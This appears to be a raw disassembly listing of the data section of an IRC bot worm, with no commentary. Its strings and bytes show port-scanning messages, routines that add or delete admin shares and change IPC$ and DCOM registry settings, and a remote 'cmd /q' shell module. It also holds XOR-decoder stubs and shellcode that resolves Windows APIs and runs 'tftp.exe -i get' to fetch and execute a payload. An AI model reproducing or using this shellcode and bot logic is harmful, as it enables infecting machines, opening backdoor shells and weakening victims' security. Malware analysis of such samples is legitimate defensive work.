		align 10h
		dd 2, 4159F4h, 706D6F63h, 2 dup(0)
		dd 3, 415A41h, 6E756F63h, 797274h, 0
		dd 4, 415ADFh, 736Fh, 2	dup(0)
		dd 5, 415B54h
dword_438C04	dd 69257325h, 0		; DATA XREF: sub_415996+40o
					; ___:00415AC0o ...
byte_438C0C	db 50h			; DATA XREF: ___:00415A63o
					; ___:00415A70r
		db 43h,	2 dup(0)
dword_438C10	dd 7C7325h		; DATA XREF: ___:00415B0Eo
					; sub_415D01+39o
dword_438C14	dd 5D73255Bh, 7Ch	; DATA XREF: ___:00415C18o
dword_438C1C	dd 334B32h		; DATA XREF: ___:00415C08o
dword_438C20	dd 5D64255Bh, 7325h	; DATA XREF: sub_415C5E+3Ao
dword_438C28	dd 5D4D5Bh		; DATA XREF: sub_415C5E+2Co
					; sub_415C5E+57o
unk_438C2C	db    2			; DATA XREF: sub_415D6A+92o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOp_0	db '  IP: %s Port: %d is open.',0
		db    2
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanningIpSPor	db '  Scanning IP: %s, Port: %d.',0
		align 10h
off_438CA0	dd offset dword_438CD8	; DATA XREF: sub_415F88+1B3o
					; sub_4162AC+17Ao
		align 8
		dd offset dword_438CD0
		align 10h
off_438CB0	dd offset dword_438CCC	; DATA XREF: sub_4162AC+1E3o
		dd offset dword_438CC8
		dd offset dword_438CC4
		dd offset dword_438CC0
dword_438CC0	dd 5C3A44h		; DATA XREF: sub_415F88+217o
					; ___:00438CBCo
dword_438CC4	dd 2444h		; DATA XREF: ___:00438CB8o
dword_438CC8	dd 5C3A43h		; DATA XREF: ___:00438CB4o
dword_438CCC	dd 2443h		; DATA XREF: ___:off_438CB0o
dword_438CD0	dd 494D4441h, 244Eh	; DATA XREF: ___:00438CA8o
dword_438CD8	dd 24435049h, 0		; DATA XREF: ___:off_438CA0o
unk_438CE0	db    2			; DATA XREF: sub_415F88+2E5o
					; sub_4162AC+2DBo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aNetapi32_dllCo	db ' Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
unk_438D20	db    2			; DATA XREF: sub_415F88+2CFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aNetworkSharesD	db ' Network shares deleted.',0
		align 4
unk_438D58	db    2			; DATA XREF: sub_415F88:loc_4161EAo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToDelete	db ' Failed to delete ',27h,'%S',27h,' share.',0
		align 4
unk_438D94	db    2			; DATA XREF: sub_415F88+25Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aShareSDeleted_	db ' Share ',27h,'%S',27h,' deleted.',0
		align 4
unk_438DC8	db    2			; DATA XREF: sub_415F88:loc_416157o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToDele_0	db ' Failed to delete ',27h,'%s',27h,' share.',0
		align 4
unk_438E04	db    2			; DATA XREF: sub_415F88+1C8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aShareSDelete_0	db ' Share ',27h,'%s',27h,' deleted.',0
		align 4
unk_438E38	db    2			; DATA XREF: sub_415F88:loc_4160BAo
					; sub_4162AC:loc_4163DAo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aAdvapi32_dllCo	db ' Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
unk_438E78	db    2			; DATA XREF: sub_415F88:loc_4160B3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToOpenIp	db ' Failed to open IPC$ Restriction registry key.',0
		align 4
unk_438EC4	db    2			; DATA XREF: sub_415F88:loc_416095o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aRestrictedAcce	db ' Restricted access to the IPC$ Share.',0
		align 4
unk_438F08	db    2			; DATA XREF: sub_415F88+106o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToRestri	db ' Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_415F88+EDo
					; sub_4162AC+EDo
		align 4
unk_438F68	db    2			; DATA XREF: sub_415F88+91o
					; sub_4162AC+91o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToOpenDc	db ' Failed to open DCOM registry key.',0
		align 4
dword_438FA8	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_415F88:loc_415FF5o
		dd 2202967h, 2002BBBBh,	4F434420h, 6964204Dh, 6C626173h
		dd 2E6465h
unk_438FD4	db    2			; DATA XREF: sub_415F88+66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aDisableDcomFai	db ' Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_415F88+54o
					; sub_4162AC+54o
		align 4
word_439014	dw 4Eh			; DATA XREF: sub_415F88+38r
		align 4
unk_439018	db    2			; DATA XREF: sub_4162AC+2C3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aNetworkSharesA	db ' Network shares added.',0
		align 4
aC_1		db '%c:\',0             ; DATA XREF: sub_4162AC+230o
		align 4
aC_2		db '%c$',0              ; DATA XREF: sub_4162AC+219o
unk_439058	db    2			; DATA XREF: sub_4162AC:loc_41644Bo
					; sub_4162AC:loc_41651Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToAddSSh	db ' Failed to add ',27h,'%s',27h,' share.',0
		align 10h
unk_439090	db    2			; DATA XREF: sub_4162AC+198o
					; sub_4162AC+269o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aShareSAdded_	db ' Share ',27h,'%s',27h,' added.',0
		align 10h
unk_4390C0	db    2			; DATA XREF: sub_4162AC:loc_4163D3o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToOpen_0	db ' Failed to open IPC$ restriction registry key.',0
		align 4
unk_43910C	db    2			; DATA XREF: sub_4162AC:loc_4163B5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aUnrestrictedAc	db ' Unrestricted access to the IPC$ Share.',0
unk_439150	db    2			; DATA XREF: sub_4162AC+102o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToUnrest	db ' Failed to unrestrict access to the IPC$ Share.',0
dword_43919C	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_4162AC:loc_416319o
		dd 2202967h, 2002BBBBh,	4F434420h, 6E65204Dh, 656C6261h
		dd 2E64h
unk_4391C8	db    2			; DATA XREF: sub_4162AC+66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aEnableDcomFail	db ' Enable DCOM failed.',0
		align 4
word_4391FC	dw 59h			; DATA XREF: sub_4162AC+38r
		align 10h
dword_439200	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4165C6+DEo
		dd 2029671Fh, 2BBBB02h
aWaitformultipl	db '  WaitForMultipleObjects error: <%d>.',0
		align 4
dword_439244	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4165C6+59o
					; sub_4165C6+8Bo
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_0	db '  Failed to create ReadShell session thread, error: <%d>.',0
		align 4
dword_43929C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416717+AFo
		dd 2029671Fh, 2BBBB02h
aFailedToExecut	db '  Failed to execute shell.',0
		align 4
dword_4392D4	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416717+7Eo
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_1	db '  Failed to create shell stdin pipe, error: <%d>.',0
		align 4
dword_439324	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416717+5Co
		dd 2029671Fh, 2BBBB02h
aFailedToCrea_2	db '  Failed to create shell stdout pipe, error: <%d>.',0
		align 4
dword_439374	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_416810+C3o
		dd 2029671Fh, 2BBBB02h
aFailedToExec_0	db '  Failed to execute shell, error: <%d>.',0
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_416810+8Co
		align 10h
dword_4393C0	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4168E9+A1o
		dd 2029671Fh, 2BBBB02h
aSessionreadshe	db '  SessionReadShellThread exited, error: <%ld>.',0
		align 4

loc_43940C:				; DATA XREF: sub_416C55+C4o
		jmp	short loc_439410
; ---------------------------------------------------------------------------

loc_43940E:				; CODE XREF: ___:loc_439410p
		jmp	short loc_439415
; ---------------------------------------------------------------------------

loc_439410:				; CODE XREF: ___:loc_43940Cj
		call	loc_43940E

loc_439415:				; CODE XREF: ___:loc_43940Ej
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_43941A	dw 0FFFFh		; DATA XREF: sub_416C55+CCw
		db 80h,	73h, 0Eh
byte_43941F	db 0FFh			; DATA XREF: sub_416C55+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------

loc_439424:				; DATA XREF: sub_416C55+A2o
		jmp	short loc_439428
; ---------------------------------------------------------------------------

loc_439426:				; CODE XREF: ___:loc_439428p
		jmp	short loc_43942D
; ---------------------------------------------------------------------------

loc_439428:				; CODE XREF: ___:loc_439424j
		call	loc_439426

loc_43942D:				; CODE XREF: ___:loc_439426j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_439431	db 0FFh			; DATA XREF: sub_416C55+AAw
		dw 7380h
		db 0Ch
byte_439435	db 0FFh			; DATA XREF: sub_416C55+B0w
		dw 0E243h
		dd 0F9h
dword_43943C	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_416ADE+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_4394A0	dd 12h			; DATA XREF: sub_416ADE+3Dw
aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_416ADE+79o
aJ		db 'j',0
		db 0E8h
dword_4394B9	dd 17h			; DATA XREF: sub_416ADE+4Dw
; ---------------------------------------------------------------------------
		jnz	short near ptr byte_4394C0
		retn
; ---------------------------------------------------------------------------
byte_4394C0	db 0E8h			; CODE XREF: ___:004394BDj
dword_4394C1	dd 1			; DATA XREF: sub_416ADE+45w
byte_4394C5	db 0, 6Ah, 0		; DATA XREF: sub_416ADE+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_4394CF	dd 0FFFFFFEDh		; DATA XREF: sub_416ADE+5Dw
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 10h
aThreadList	db '-[Thread List]-',0
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_416FEA+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_416FEA+35o
dword_439550	dd 29E2C0h		; DATA XREF: sub_417302+4w sub_41730Cr ...
		align 10h
dword_439560	dd 173Fh		; DATA XREF: sub_417CA4+Dr
		dd 9875h, 9873h
off_43956C	dd offset sub_417D73	; DATA XREF: ___:00419AB8r
		dd offset nullsub_2
		dd offset nullsub_2
dword_439578	dd 1B3Fh		; DATA XREF: sub_417DEB+Dr
dword_43957C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41826D+2o
					; sub_418276+2o
off_439590	dd offset sub_419AF6	; DATA XREF: sub_419CDA+1Cr
dword_439594	dd 2			; DATA XREF: sub_41F84C+Er
					; sub_41F885+46r ...
off_439598	dd offset aNull_0	; DATA XREF: sub_419E38:loc_41A19Cr
					; sub_419E38+457r
					; "(null)"
off_43959C	dd offset aNull		; DATA XREF: sub_419E38+259r
					; "(null)"
off_4395A0	dd offset word_4395AA	; DATA XREF: sub_417794+23r
					; sub_417794:loc_4177F5r ...
off_4395A4	dd offset word_4395AA	; DATA XREF: sub_422EB1+18r
		db 2 dup(0)
word_4395AA	dw 20h			; DATA XREF: sub_42102E+18r
					; ___:off_4395A0o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_4397AC	dd 1			; DATA XREF: sub_417794:loc_41779Cr
					; sub_417794:loc_4177E0r ...
byte_4397B0	db 2Eh			; DATA XREF: sub_41C86F:loc_41C8AFr
					; sub_41C8C9+4r ...
		align 4
		dd 1, 10h, 0
off_4397C0	dd offset off_4397C0	; DATA XREF: sub_41B888+Do
					; sub_41B888+69o ...
off_4397C4	dd offset off_4397C0	; DATA XREF: sub_41B888:loc_41B908r
					; sub_41B888+89w ...
		dd offset dword_4397D8
		dd offset dword_4397D8
dword_4397D0	dd 0FFFFFFFFh		; DATA XREF: sub_41B888r
					; sub_41B9CC:loc_41BA19w
		dd 0FFFFFFFFh
dword_4397D8	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:004397C8o
					; ___:004397CCo
off_43B7E0	dd offset off_4397C0	; DATA XREF: sub_41B9CC+15r
					; sub_41B9CC+20w ...
dword_43B7E4	dd 1E0h			; DATA XREF: sub_417BC7:loc_417C03r
					; sub_41944F+185r ...
dword_43B7E8	dd 14h			; DATA XREF: sub_41C5B8+2o
off_43B7EC	dd offset aExp		; DATA XREF: sub_41C5B8:loc_41C5D5r
					; "exp"
		dd 1Dh,	42480Ch, 1Ah, 424808h, 1Bh, 424800h, 1Fh, 4247F8h
		dd 13h,	4247F0h, 21h, 4247E8h, 0Eh, 4247E0h, 0Dh, 4247D8h
		dd 0Fh,	4247D0h, 10h, 4247C8h, 5, 4247C0h, 1Eh,	4247BCh
		dd 12h,	4247B8h, 20h, 4247B4h, 0Ch, 4247ACh, 0Bh, 4247A4h
		dd 15h,	42479Ch, 1Ch, 424794h, 19h, 42478Ch, 11h, 424784h
		dd 18h,	42477Ch, 16h, 424774h, 17h, 42476Ch, 22h, 424768h
		dd 23h,	424764h, 24h, 424760h
dbl_43B8C0	dq 1.797693134862316e308 ; DATA	XREF: sub_41C2F3+B7r
					; sub_41C2F3:loc_41C3DAr ...
		dd 0
		dd 0FFF80000h
dbl_43B8D0	dq 1.797693134862316e308 ; DATA	XREF: sub_41C2F3+92r
					; sub_41C2F3:loc_41C3B2r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43B8E8	dt 2.3562723457267347066e313 ; DATA XREF: sub_41C7A0+Dr
					; sub_41C7A0+1Fr
		align 4
tbyte_43B8F4	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41C7A0+31r
		align 10h
off_43B900	dd offset sub_41CC34	; DATA XREF: sub_417D8B+Fw
					; sub_419E38+3AAr
off_43B904	dd offset sub_41C8C9	; DATA XREF: sub_417D8B+5w
					; sub_419E38+3E2r
off_43B908	dd offset sub_41C92F	; DATA XREF: sub_417D8B+14w
					; sub_41D797+430r
off_43B90C	dd offset sub_41C86F	; DATA XREF: sub_417D8B+1Ew
					; sub_419E38+3CBr
off_43B910	dd offset sub_41C917	; DATA XREF: sub_417D8B+28w
off_43B914	dd offset sub_41CC34	; DATA XREF: sub_417D8B+32w
		dd offset sub_42086E
		align 10h
		dd offset sub_41D4FC
off_43B924	dd offset sub_41D4FC	; DATA XREF: sub_41D552+29r
dword_43B928	dd 0D2D0920h, 5Dh	; DATA XREF: sub_41D797:loc_41DCFEo
dword_43B930	dd 5Dh,	0		; DATA XREF: sub_41D797:loc_41DBEEo
byte_43B938	db 1			; DATA XREF: sub_41E92D+E1r
		db 2, 4, 8
		align 10h
dword_43B940	dd 3A4h			; DATA XREF: sub_41E92D+2Fo
dword_43B944	dd 82798260h, 21h, 0	; DATA XREF: sub_41E92D+11Dr
dword_43B950	dd 0DFA6h		; DATA XREF: sub_41E92D+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43BA30	dd 1			; DATA XREF: sub_41E92D+3Co
					; sub_41EF44+Co
dword_43BA34	dd 16h			; DATA XREF: sub_41EF44:loc_41EF79r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43BB98	dd 0C0000005h		; DATA XREF: sub_41EF44+19o
					; sub_41F0EC+Ar ...
dword_43BB9C	dd 0Bh			; DATA XREF: sub_421D69+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43BC10	dd 3			; DATA XREF: ___:0041F003r
					; sub_421C3C+C8r
dword_43BC14	dd 7			; DATA XREF: ___:0041F009r
					; sub_421C3C+CDr
dword_43BC18	dd 0Ah			; DATA XREF: sub_41F0EC+4r
					; sub_421D69+4r
dword_43BC1C	dd 8Ch			; DATA XREF: ___:0041F02Dr
					; ___:0041F03Aw ...
dword_43BC20	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_419D23:loc_419DE0o
					; sub_41E248:loc_41E2C9o
dword_43BC28	dd 2			; DATA XREF: sub_41F885+Eo
					; sub_41F885+28r
off_43BC2C	dd offset aR6002FloatingP ; DATA XREF: sub_41F885+FCr
					; sub_41F885+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 424B2Ch, 9, 424B00h, 0Ah,	424ADCh, 10h, 424AB0h
		dd 11h,	424A80h, 12h, 424A5Ch, 13h, 424A30h, 18h, 4249F8h
		dd 19h,	4249D0h, 1Ah, 424998h, 1Bh, 424960h, 1Ch, 424938h
		dd 78h,	424928h, 79h, 424918h, 7Ah, 424908h, 0FCh, 42A3B0h
		dd 0FFh, 4248F8h
off_43BCB8	dd offset dword_48A320	; DATA XREF: sub_41F885+1Bo
					; sub_41FA42+55o
		align 10h
		dd offset dword_48A320
		dd 101h
dword_43BCC8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41FA42+72o
		dd 1000h, 0
dword_43BCD8	dd 3 dup(0)		; DATA XREF: sub_419D23+50o
					; sub_41A8A2+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43BCF8	dd 3 dup(0)		; DATA XREF: sub_419D23+58o
					; sub_41A8A2:loc_41A8C0o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43BD28	dd 84h dup(0)		; DATA XREF: sub_41FA42+9Bo
dword_43BF38	dd 2694h		; DATA XREF: sub_41BF55+3r
					; sub_41BFA8+46r ...
		align 10h
dword_43BF40	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_42064Eo
dword_43BF58	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_420664o
dword_43BF70	dd 7080h		; DATA XREF: sub_41D609+76r
					; sub_42094E+5Ew ...
dword_43BF74	dd 1			; DATA XREF: sub_41D609+98r
					; sub_42094E+8Bw ...
dword_43BF78	dd 0FFFFF1F0h		; DATA XREF: sub_41D609:loc_41D6BBr
					; sub_42094E+94w ...
off_43BF7C	dd offset dword_545350	; DATA XREF: ___:off_43BFFCo
		dd 0Fh dup(0)
off_43BFBC	dd offset aJ_eKRnxDgZo	; DATA XREF: ___:off_43C000o
					; "j_k/g:Zo"
		dd 0Fh dup(0)
off_43BFFC	dd offset off_43BF7C	; DATA XREF: sub_42094E+BAr
					; sub_42094E+D9r ...
off_43C000	dd offset off_43BFBC	; DATA XREF: sub_42094E+F4r
					; sub_42094E+11Br ...
		align 8
dword_43C008	dd 0FFFFFFFFh		; DATA XREF: sub_42094E+1Dw
					; sub_420BAC+1Er ...
dword_43C00C	dd 0			; DATA XREF: sub_420BAC:loc_420CE0r
					; sub_420D58+BFw
dword_43C010	dd 0			; DATA XREF: sub_420BAC+192r
					; sub_420D58+E0w
		align 8
dword_43C018	dd 0FFFFFFFFh		; DATA XREF: sub_42094E+17w
					; sub_420BAC+26r ...
dword_43C01C	dd 0			; DATA XREF: sub_420BAC+13Ar
					; sub_420D58+EAw ...
dword_43C020	dd 0			; DATA XREF: sub_420BAC+1A1r
					; sub_420D58+23r ...
dword_43C024	dd 0FFFFFFFFh		; DATA XREF: sub_420D58+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43C054	dd 16Dh			; DATA XREF: sub_41D609+2Ar
					; sub_420D58+2Er ...
dword_43C058	dd 0FFFFFFFFh		; DATA XREF: sub_420D58:loc_420DE4r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43C090	dd 2 dup(0)		; DATA XREF: sub_4220C1+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
